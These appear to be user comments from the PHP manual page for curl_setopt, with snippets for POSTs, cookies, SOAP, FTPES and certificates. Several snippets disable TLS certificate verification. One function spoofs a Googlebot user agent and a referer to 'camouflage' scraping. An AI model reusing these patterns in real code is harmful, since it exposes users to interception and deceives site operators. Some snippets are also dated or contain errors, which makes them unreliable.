If you get a "failed creating formpost data" upon curl_exec() when POSTing a form, check if one of the field values starts with the @ character.

Took me an hour or so to find out as I wanted to post a @reply tweet to twitter which typically start with @screenname.
Tyranoweb 04-Sep-2009 11:42
There is a function to send POST data in page with five parameters :

$post must be an array
$page is the page where POST datas will be send.
$n must be true to continue if they are php redirection (Location: )
$session must be define true if you want to use cookies
$referer must be a link to get a wrong referer or only to have a referer.

<?php
function curl_data_post($post, $page, $n, $session, $referer)
    {
        if(!is_array($post))
        {
         return false;
        }

        $DATA_POST = curl_init();
        curl_setopt($DATA_POST, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($DATA_POST, CURLOPT_URL, $page);
        curl_setopt($DATA_POST, CURLOPT_POST, true);
        if($n)
        {
         curl_setopt($DATA_POST, CURLOPT_FOLLOWLOCATION, true);
        }
        if($session)
        {
         curl_setopt($DATA_POST, CURLOPT_COOKIEFILE, 'cookiefile.txt');
         curl_setopt($DATA_POST, CURLOPT_COOKIEJAR, 'cookiefile.txt');
        }

        if($referer)
        {
         curl_setopt($DATA_POST, CURLOPT_REFERER, $referer);
        }

        curl_setopt($DATA_POST, CURLOPT_POSTFIELDS, $post);
        $data = curl_exec($DATA_POST);
        if($data == false)
        {
         echo'Warning : ' . curl_error($DATA_POST);
         curl_close($DATA_POST);
         return false;
        }
        else
        {
         curl_close($DATA_POST);
         return $data;
        }
    }
?>
rob 24-Aug-2009 06:07
Whats not mentioned in the documentation is that you have to set CURLOPT_COOKIEJAR to a file for the CURL handle to actually use cookies, if it is not set then cookies will not be parsed.
Sylvain R 28-Jul-2009 12:05
When you are using CURLOPT_FILE to download directly into a file you must close the file handler after the curl_close() otherwise the file will be incomplete and you will not be able to use it until the end of the execution of the php process.

<?php

$fh = fopen('/tmp/foo', 'w');
$ch = curl_init('http://example.com/foo');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);

# at this point your file is not complete and corrupted

fclose($fh);

# now you can use your file;

read_file('/tmp/foo');

?>
mikeseth at gmail dot com 15-Jul-2009 11:32
When using CURLOPT_FILE, pass it the file handle that is open for write only (eg fopen('blahblah', 'w+')). If you also open the file for reading (eg fopen('blahblah', 'rw')), curl will fail with error 23.
Victor Jerlin 03-Jul-2009 01:12
Seems like some options not mentioned on this page, but listed on http://curl.haxx.se/libcurl/c/curl_easy_setopt.html is actually supported.

I was happy to see that I could actually use CURLOPT_FTP_CREATE_MISSING_DIRS even from PHP.
xektrum at gmail dot com 02-Jul-2009 06:14
As of php 5.3 CURLOPT_PROGRESSFUNCTION its supported here's how:

<?php

function callback($download_size, $downloaded, $upload_size, $uploaded)
{
    // do your progress stuff here
}

$ch = curl_init('http://www.example.com');

// This is required to curl give us some progress
// if this is not set to false the progress function never
// gets called
curl_setopt($ch, CURLOPT_NOPROGRESS, false);

// Set up the callback
curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'callback');

// Big buffer less progress info/callbacks
// Small buffer more progress info/callbacks
curl_setopt($ch, CURLOPT_BUFFERSIZE, 128);

$data = curl_exec($ch);

?>

Hope this help.
Andrew 14-Jun-2009 01:56
I noticed that if you want to get current cookie file after curl_exec() - you need to close current curl handle (like it said in manual), but if you want cookies to be dumped to file after any curl_exec (without curl_close) you can:

<?php
#call it normally
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
$result1 = curl_exec($ch);

#and then  make a temp copy
$ch_temp=curl_copy_handle(ch);
curl_close($ch);
$ch=$ch_temp;
?>

Only this way, if you close $ch_temp - cookies wont be dumped.
ericbianchetti at gmail dot com 04-Jun-2009 12:06
if you need to send a SOAP string that is the CURL you must use :

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, XML_POST_URL);
curl_setopt ($ch, CURLOPT_HTTPHEADER, array('SOAPAction: ""'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, XML_PAYLOAD);
curl_setopt($ch, CURLOPT_HEADER, 0);

$output = curl_exec($ch);
?>

Note : Having based my snipet on Chemo demonstration (oscommerce user know who he is), XML_POST_URL and XML_PAYLOAD where defined as constant with define().

The point is : at the opposite of .xml , SOAP must send the header 'SOAPAction: ""' that can be a valid URI, an empty string (that is here) or nothing ('SOAPAction: '). The later case baing not accepted by all server, the second one indicating the target is the URI used to post the SOAP.
http://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528
franciscocha at gmail dot com 20-May-2009 12:11
Example how to connect to FTPES (FTP explicit SSL). This script will connect to any FTPES server and out put the list of directories.

<?php
    $username = 'username';
    $password = 'password';
    $url = 'example.com';
    $ftp_server = "ftp://" . $username . ":" . $password . "@" . $url;

    echo "Starting CURL.\n";
    $ch = curl_init();
    echo "Set CURL URL.\n";

    //curl FTP
    curl_setopt($ch, CURLOPT_URL, $ftp_server);

    //For Debugging
    //curl_setopt($ch, CURLOPT_VERBOSE, TRUE);

    //SSL Settings
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);

    //List FTP files and directories
    curl_setopt($ch, CURLOPT_FTPLISTONLY, TRUE);

    //Output to curl_exec
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    echo "Executing CURL.\n";
    $output = curl_exec($ch);
    curl_close($ch);
    echo "Closing CURL.\n";
    echo $output . "\n";

   $files = explode("\n", $output);
   print_r($files);
?>
ashooner - - gmail , com 23-Mar-2009 12:28
When passing CURLOPT_POSTFIELDS a url-encoded string in order to use Content-Type: application/x-www-form-urlencoded, you can pass a string directly:
<?php
curl_setopt(CURLOPT_POSTFIELDS, 'field1=value&field2=value2');
?>

rather than passing the string in an array, as in fred at themancan dot com's example.
urkle at outoforder dot cc 28-Jan-2009 03:49
To send a post as a different content-type (ie.. application/json or text/xml) add this setopt call

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-Type: application/json'));
?>
fnjordy at gmail dot com 01-Dec-2008 08:28
Note that CURLOPT_RETURNTRANSFER when used with CURLOPT_WRITEFUNCTION has effectively three settings: default, true, and false.

default - callbacks will be called as expected.
true - content will be returned but callback function will not be called.
false - content will be output and callback function will not be called.

Note that CURLOPT_HEADERFUNCTION callbacks are always called.
saidk at phirebranding dot com 19-Nov-2008 10:31
Passing in PHP's $_SESSION into your cURL call:

<?php
session_start();
$strCookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/';
session_write_close();

$curl_handle = curl_init('enter_external_url_here');
curl_setopt( $curl_handle, CURLOPT_COOKIE, $strCookie );
curl_exec($curl_handle);
curl_close($curl_handle);
?>

This worked great for me.  I was calling pages from the same server and needed to keep the $_SESSION variables.  This passes them over.  If you want to test, just print_r($_SESSION);

Enjoy!
dorphalsig at gmail dot com 10-Oct-2008 11:20
This may not be a surprise for many, but I know I bled my eyes out trying to implement this in php. And when I knew it was this simple, I really felt extremely stupid. So I put this just so google will save somebody some time in the future.

PHP NTLM AUTH

Make sure you have the 'curl' extension loaded
now just do...

<?php
curl_setopt($ch,CURLAUTH_NTLM);
curl_setopt($ch,CURLOPT_USERPWD,"$username:$password");
?>

and just continue to use curl in the ordinary fashion.
OPALA 26-Sep-2008 09:37
To fetch (or submit data to) multiple pages during one session,use this:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIE, session_name() . '=' . session_id());
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page1.php');
$result1 = curl_exec($ch);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page2.php');
$result2 = curl_exec($ch);

curl_close($ch);
?>
George 23-Aug-2008 02:14
If you set CURLOPT_RESUME_FROM to resume the file, and then reuse the same Curl handle to download another file, you must reset the resume status by calling curl_setopt( $ch, CURLOPT_RESUME_FROM, 0 ). It will not reset, and will apply to all subsequent transfers even if the URL is the same.
w dot danford at electronics-software dot com 12-Aug-2008 07:12
Just a small detail I too easily overlooked.
<?php
/*  If you set:  */
curl_setopt ($ch, CURLOPT_POST, 1);
/* then you must have the data: */
curl_setopt ($ch, CURLOPT_POSTFIELDS, $PostData);
?>
I found with only the CURLOPT_POST set (from copy, paste editing of course) cookies were not getting sent with CURLOPT_COOKIE.  Just something subtle to watch out for.
fred at themancan dot com 06-Aug-2008 01:28
To find what encoding a given HTTP POST request uses is easy -- passing an array to CURLOPT_POSTFIELDS results in  multipart/form-data:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1' => 'value'));
?>

Passing a URL-encoded string will result in application/x-www-form-urlencoded:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1=value&field2=value2'));
?>

I ran across this when integrating with both a warehouse system and an email system; neither would accept multipart/form-data, but both happily accepted application/x-www-form-urlencoded.
jID 05-Aug-2008 01:56
if you use
<?php
curl_setopt($ch, CURLOPT_INTERFACE, "XXX.XXX.XXX.XXX");
?>
to specify IP adress for request, sometimes you need to get list of all your IP's.

ifconfig command will output something like:

rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    options=8<VLAN_MTU>
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    ether XX:XX:XX:XX:XX:XX
    media: Ethernet autoselect (100baseTX <full-duplex>)
    status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 564
tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 565
    Opened by PID 565

My solution for FreeBSD 6 and PHP 5 was:
<?php
  ob_start();
  $ips=array();
  $ifconfig=system("ifconfig");
  echo $ifconfig;
  $ifconfig=ob_get_contents();
  ob_end_clean();
  $ifconfig=explode(chr(10), $ifconfig);
  for ($i=0; $i<count($ifconfig); $i++) {
    $t=explode(" ", $ifconfig[$i]);
    if ($t[0]=="\tinet") {
      array_push($ips, $t[1]);
    }
  }
  for ($i=0; $i<count($ips); $i++) {
    echo $ips[$i]."\n";
  }
?>

You will get list of IP adresses in $ips array, like:
82.146.XXX.XXX
78.24.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
78.24.XXX.XXX
78.24.XXX.XXX
ac at an dot y-co dot de 10-Jul-2008 07:08
If you want to connect to a server which requires that you identify yourself with a certificate, use following code. Your certificate and servers certificate are signed by an authority whose certificate is in ca.ctr.

<?php
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '2');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1');
curl_setopt($ch, CURLOPT_CAINFO,  getcwd().'/cert/ca.crt');
curl_setopt($ch, CURLOPT_SSLCERT, getcwd().'/cert/mycert.pem');
curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'password');
?>

If your original certificate is in .pfx format, you have to convert it to .pem using following commands
# openssl pkcs12 -in mycert.pfx -out mycert.key
# openssl rsa -in mycert.key -out mycert.pem
# openssl x509 -in mycert.key >> mycert.pem
nick at glype dot com 07-Jul-2008 06:18
Although CURLOPT_CLOSEPOLICY and the applicable choices are valid constants, setting this option with curl_setopt() always returns false. A quick google search suggests the option is deprecated and/or never worked.
Salil Kothadia 19-Jun-2008 06:02
In PHP5, for the "CURLOPT_POSTFIELDS" option, we can use:

<?php
$ch = curl_init($URI);
$Post = http_build_query($PostData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $Post);
$Output = curl_exec($ch);
curl_close($ch);
?>
sgamon at yahoo dot com 10-Apr-2008 02:55
If you are doing a POST, and the content length is 1,025 or greater, then curl exploits a feature of http 1.1: 100 (Continue) Status.

See http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.2.3

* it adds a header, "Expect: 100-continue".
* it then sends the request head, waits for a 100 response code, then sends the content

Not all web servers support this though.  Various errors are returned depending on the server.  If this happens to you, suppress the "Expect" header with this command:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>

See http://www.gnegg.ch/2007/02/the-return-of-except-100-continue/
john factorial 04-Apr-2008 05:22
Clarification for the CURLOPT_NOBODY option: by excluding the body from your request, you're effectively making a HEAD request. Use the CURLOPT_NOBODY option to return only the headers in the remote response.

Example:

<?php
function check_url($url) {
    $c = curl_init();
    curl_setopt($c, CURLOPT_URL, $url);
    curl_setopt($c, CURLOPT_HEADER, 1); // get the header
    curl_setopt($c, CURLOPT_NOBODY, 1); // and *only* get the header
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // get the response as a string from curl_exec(), rather than echoing it
    curl_setopt($c, CURLOPT_FRESH_CONNECT, 1); // don't use a cached version of the url
    if (!curl_exec($c)) { return false; }

    $httpcode = curl_getinfo($c, CURLINFO_HTTP_CODE);
    return ($httpcode < 400);
}
?>
c00lways at gmail dot com 04-Mar-2008 10:16
if you would like to send xml request to a server (lets say, making a soap proxy),
you have to set

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
?>

makesure you watch for cache issue:
the below code will prevent cache...

<?php
curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
?>

hope it helps ;)
mavook at gmail dot com 16-Feb-2008 07:26
If you try to upload file to a server, you need do CURLOPT_POST first and then fill CURLOPT_POSTFIELDS.

<?php
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars);
// ^^ This will post multipart/form-data
?>
jade dot skaggs at gmail dot com 07-Jan-2008 06:48
After much struggling, I managed to get a SOAP request requiring HTTP authentication to work.  Here's some source that will hopefully be useful to others.

         <?php

         $credentials = "username:password";

         // Read the XML to send to the Web Service
         $request_file = "./SampleRequest.xml";
        $fh = fopen($request_file, 'r');
        $xml_data = fread($fh, filesize($request_file));
        fclose($fh);

        $url = "http://www.example.com/services/calculation";
        $page = "/services/calculation";
        $headers = array(
            "POST ".$page." HTTP/1.0",
            "Content-type: text/xml;charset=\"utf-8\"",
            "Accept: text/xml",
            "Cache-Control: no-cache",
            "Pragma: no-cache",
            "SOAPAction: \"run\"",
            "Content-length: ".strlen($xml_data),
            "Authorization: Basic " . base64_encode($credentials)
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);

        // Apply the XML to our curl call
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_data);

        $data = curl_exec($ch);

        if (curl_errno($ch)) {
            print "Error: " . curl_error($ch);
        } else {
            // Show me the result
            var_dump($data);
            curl_close($ch);
        }

?>
Ojas Ojasvi 25-Sep-2007 07:52
<?php
/*
* Author: Ojas Ojasvi
* Released: September 25, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.php.net';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

Ojas Ojasvi
charles at tastik dot net 01-Sep-2007 11:27
FYI,

Anyone trying to connect to .NET with CURL to send a simple XML post, pay attention to the following. This will save you hours! There is a previous note that I saw either on this page, or somewhere else on this site that explains the correct way to specify the header option is to create an array, then reference the array from the CURLOPT.

ie.  Do something like this:

<?php
// Req. HTTP Header Values
 $header[] = "Content-type: text/xml";

// Target URL
 $sendTo = "http://www.example.com";

// Post Data
 $post = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n....etc, etc,";

// Create CURL Connection
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_USERAGENT, 'XtraDoh xAgent');
 curl_setopt($ch, CURLOPT_URL, $sendTo);
 curl_setopt($ch, CURLOPT_TIMEOUT, 900);
 curl_setopt($ch, CURLOPT_CONNECTIONTIMEOUT, 30);
 curl_setopt($ch, CURLOPT_FAILONERROR, false);
 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
 curl_setopt($ch, CURLOPT_POST, true);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
?>

Notice the HTTPHEADER, $header above. I have not been able to get .NET to properly read the HTTP header as specified (in this case as text/xml) when using the following:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type'=>'text/xml'));
?>

Although this may work when working with other PHP, IIS, or even PHP, Apache, it does not (at least in my experience) work with .NET, IIS.
andrabr at gmail dot com 20-Aug-2007 11:03
This is very clear in hindsight, but it still cost me several hours:

<?php curl_setopt($session, CURLOPT_HTTPPROXYTUNNEL, 1); ?>

means that you will tunnel THROUGH the proxy, as in "your communications will go as if the proxy is NOT THERE".

Why do you care? - Well, if you are trying to use, say, Paros, to debug HTTP between your cURL and the server, with CURLOPT_HTTPPROXYTUNNEL set to TRUE Paros will not see or log your traffic thus defeating the purpose and driving you nuts.

There are other cases, of course, where this option is extremely useful...
michael sky 06-Jul-2007 12:09
if you are trying to connect to 'https://...' and after that want to work with POST data - that's the way:

<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookiefile"); # SAME cookiefile
curl_setopt($curl, CURLOPT_URL, "url1"); # this is where you first time connect - GET method authorization in my case, if you have POST - need to edit code a bit
$xxx = curl_exec($curl);

curl_setopt($curl, CURLOPT_URL, "url2"); # this is where you are requesting POST-method form results (working with secure connection using cookies after auth)
curl_setopt($curl, CURLOPT_POSTFIELDS, "var1=value&var2=value&var3=value&"); # form params that'll be used to get form results
$xxx = curl_exec($curl);

curl_close ($curl);
echo $xxx;
?>
mcbreen at gmail dot com 12-Jun-2007 11:35
If you are getting the following error:

SSL: certificate subject name 'example.com' does not match target host name 'example.net'

Then you can set the following option to get around it:

<?php curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); ?>
vincent at ludden dot nl 12-Jun-2007 10:55
Please note that the CURLOPT_INTERFACE setting only accepts IP addresses and hostnames of the local machine. It is not meant to send a URL to a specific IP address.
ashw1 - at - no spam - post - dot - cz 04-Jun-2007 01:51
In case you wonder how come, that cookies don't work under Windows, I've googled for some answers, and here is the result: Under WIN you need to input absolute path of the cookie file.

This piece of code solves it:

<?php

if ($cookies != '')
    {
    if (substr(PHP_OS, 0, 3) == 'WIN')
        {$cookies = str_replace('\\','/', getcwd().'/'.$cookies);}
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    }

?>
rob at infoglobe dot net 24-Apr-2007 06:01
Options not included in the above, but that work (Taken from the libcurl.a C documentation)

CURLOPT_FTP_SSL

Pass a long using one of the values from below, to make libcurl use your desired level of SSL for the ftp transfer. (Added in 7.11.0)

CURLFTPSSL_NONE

Don't attempt to use SSL.

CURLFTPSSL_TRY

Try using SSL, proceed as normal otherwise.

CURLFTPSSL_CONTROL

Require SSL for the control connection or fail with CURLE_FTP_SSL_FAILED.

CURLFTPSSL_ALL

Require SSL for all communication or fail with CURLE_FTP_SSL_FAILED.
alfredoaguirre dot v at gmail dot com 14-Mar-2007 01:26
Seems that CURLOPT_RETURNTRANSFER Option set to TRUE, returns a "1" when the transaction returns a blank page.

I think is for eliminate the FALSE to can be with a blank page as return
paczor 08-Mar-2007 03:50
How to get rid of response after POST: just add callback function for returned data (CURLOPT_WRITEFUNCTION) and make this function empty.

<?php
function curlHeaderCallback($ch, $strHeader) {
}
curl_setopt($ch, CURLOPT_WRITEFUNCTION, 'curlHeaderCallback');
?>
eion at bigfoot dot com 22-Nov-2006 05:40
If you are trying to use CURLOPT_FOLLOWLOCATION and you get this warning:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set...

then you will want to read http://www.php.net/ChangeLog-4.php which says "Disabled CURLOPT_FOLLOWLOCATION in curl when open_basedir or safe_mode are enabled." as of PHP 4.4.4/5.1.5.  This is due to the fact that curl is not part of PHP and doesn't know the values of open_basedir or safe_mode, so you could comprimise your webserver operating in safe_mode by redirecting (using header('Location: ...')) to "file://" urls, which curl would have gladly retrieved.

Until the curl extension is changed in PHP or curl (if it ever will) to deal with "Location:" headers, here is a far from perfect remake of the curl_exec function that I am using.

Since there's no curl_getopt function equivalent, you'll have to tweak the function to make it work for your specific use.  As it is here, it returns the body of the response and not the header.  It also doesn't deal with redirection urls with username and passwords in them.

<?php
    function curl_redir_exec($ch)
    {
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops++ >= $curl_max_loops)
        {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\n\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code == 301 || $http_code == 302)
        {
            $matches = array();
            preg_match('/Location:(.*?)\n/', $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));
            if (!$url)
            {
                //couldn't process the url to redirect to
                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
            if (!$url['scheme'])
                $url['scheme'] = $last_url['scheme'];
            if (!$url['host'])
                $url['host'] = $last_url['host'];
            if (!$url['path'])
                $url['path'] = $last_url['path'];
            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
            curl_setopt($ch, CURLOPT_URL, $new_url);
            debug('Redirecting to', $new_url);
            return curl_redir_exec($ch);
        } else {
            $curl_loops=0;
            return $data;
        }
    }
?>
php at miggy dot org 23-Aug-2006 07:35
Note that if you want to use a proxy and use it as a _cache_, you'll have to do:

<?php curl_setopt($ch, CURLOPT_HTTPHEADER, array("Pragma: ")); ?>

else by default Curl puts a "Pragma: no-cache" header in and thus force cache misses for all requests.
Philippe dot Jausions at 11abacus dot com 30-May-2006 08:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv 14-Apr-2006 04:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
heyrocker at yahoo dot com 23-Feb-2006 10:57
The examples below for HTTP file upload work great, but I wanted to be able to post multiple files through HTTP upload using HTML arrays as specified in example 38.3 at

http://php.net/features.file-upload

In this case, you need to set the arrays AND keys in the $post_data, it will not work with just the array names. The following example shows how this works:

<?php

    $post_data = array();

    $post_data['pictures[0]'] = "@cat.jpg";
    $post_data['pictures[1]'] = "@dog.jpg";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://example.com/my_url.php" );
    curl_setopt($ch, CURLOPT_POST, 1 );
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);

    if (curl_errno($ch)) {
       print curl_error($ch);
    }
    curl_close($ch);
    print "$postResult";
?>
petelu $ post dot sk 17-Feb-2006 01:19
load https:// or  http://example.com/exam.php
with  POST  data (name=alex&year=18) and apply COOKIEs

<?php
$sessions = curl_init();
curl_setopt($sessions,CURLOPT_URL,'http://example.com/exam.php');
curl_setopt($sessions, CURLOPT_POST, 1);
curl_setopt($sessions,CURLOPT_POSTFIELDS,'name=alex&year=18');
curl_setopt($sessions,CURLOPT_COOKIEJAR,
dirname(__FILE__).'/cookie.txt');
curl_setopt($sessions,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($sessions, CURLOPT_HEADER , 1);
curl_setopt($sessions, CURLOPT_RETURNTRANSFER,1);
$my_load_page = curl_exec($this->sessions);
?>
luca dot manzo at bbsitalia dot com 02-Feb-2006 12:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
<?php curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName"); ?>

makes curl to store the cookies in a file at the and of the curl session

- the option
<?php curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName"); ?>

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

<?php
       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;
?>

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
Dustin Hawkins 27-Dec-2005 11:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru 22-Dec-2005 11:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
